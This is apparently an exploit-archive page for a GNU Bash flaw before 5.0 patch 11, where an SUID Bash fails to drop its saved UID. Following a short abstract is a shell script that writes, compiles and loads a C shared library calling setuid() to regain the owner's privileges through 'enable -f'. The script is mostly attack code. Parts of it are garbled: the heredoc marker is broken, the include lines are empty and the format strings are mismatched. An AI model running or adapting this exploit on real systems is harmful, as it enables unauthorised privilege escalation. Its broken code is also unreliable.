by Mohin Paramasivam

2019-11-29 22:11:59

Abstract

An issue was discovered in disable_priv_mode in shell.c in GNU Bash through 5.0 patch 11. By default, if Bash is run with its effective UID not equal to its real UID, it will drop privileges by setting its effective UID to its real UID. However, it does so incorrectly. On Linux and other systems that support "saved UID" functionality, the saved UID is not dropped. An attacker with command execution in the shell can use "enable -f" for runtime loading of a new builtin, which can be a shared object that calls setuid() and therefore regains privileges. However, binaries running with an effective UID of 0 are unaffected.

Exploit & Code

# Date : 2019-11-29
# Original Author: Ian Pudney , Chet Ramey
# Exploit Author : Mohin Paramasivam (Shad0wQu35t)
# Version : < Bash 5.0 Patch 11
# Tested on Linux
# Credit : Ian Pudney from Google Security and Privacy Team based on Google CTF suidbash

#!/bin/bash

#Terminal Color Codes

RED='\033[0;31m'
GREEN='\033[0;32m'
NC='\033[0m'

#Get the Effective User ID (owner of the SUID /bin/bash binary)
read -p "Please enter effective user id (euid) : " euid

#Create a C file and output the exploit code
touch pwn.c
echo "" > pwn.c

cat <> pwn.c

#include
#include
#include

void __attribute((constructor)) initLibrary(void) {
printf("Escape lib is initialized");
printf("[LO] uid:%d | euid:%d%c", getuid(), geteuid());
setuid($euid);
printf("[LO] uid%d | euid:%d%c", getuid(), geteuid());
}

EOT

echo -e "${RED}"
echo -e "Exploit Code copied to pwn.c !\n"
sleep 5
echo -e "Compiling Exploit Object ! \n"
$(which gcc ) -c -fPIC pwn.c -o pwn.o
sleep 5
echo -e "Compiling Exploit Shared Object ! \n"
$(which gcc ) -shared -fPIC pwn.o -o libpwn.so
sleep 5
echo -e "Exploit Compiled ! \n"
sleep 5
echo -e "Executing Exploit :) \n"
sleep 5

#Execute the Shared Library
echo -e "${RED}Run : ${NC} enable -f ./libpwn.so asd \n"

References

Keywords

bash
linux
script